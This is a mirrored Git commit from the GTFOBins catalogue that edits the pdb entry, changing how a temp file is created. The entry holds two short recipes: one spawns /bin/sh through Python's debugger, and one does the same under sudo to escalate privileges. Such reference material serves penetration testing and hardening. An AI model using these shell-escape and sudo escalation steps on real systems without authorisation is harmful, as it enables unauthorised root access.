mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Avoid temp directory in pdb
This commit is contained in:
parent
41124f24c2
commit
1342a7b981
@ -2,14 +2,14 @@
|
|||||||
functions:
|
functions:
|
||||||
shell:
|
shell:
|
||||||
- code: |
|
- code: |
|
||||||
TF=$(mktemp -d)
|
TF=$(mktemp)
|
||||||
echo 'import os; os.system("/bin/sh")' > $TF/x
|
echo 'import os; os.system("/bin/sh")' > $TF
|
||||||
pdb $TF/x
|
pdb $TF
|
||||||
cont
|
cont
|
||||||
sudo:
|
sudo:
|
||||||
- code: |
|
- code: |
|
||||||
TF=$(mktemp -d)
|
TF=$(mktemp)
|
||||||
echo 'import os; os.system("/bin/sh")' > $TF/x
|
echo 'import os; os.system("/bin/sh")' > $TF
|
||||||
sudo pdb $TF/x
|
sudo pdb $TF
|
||||||
cont
|
cont
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user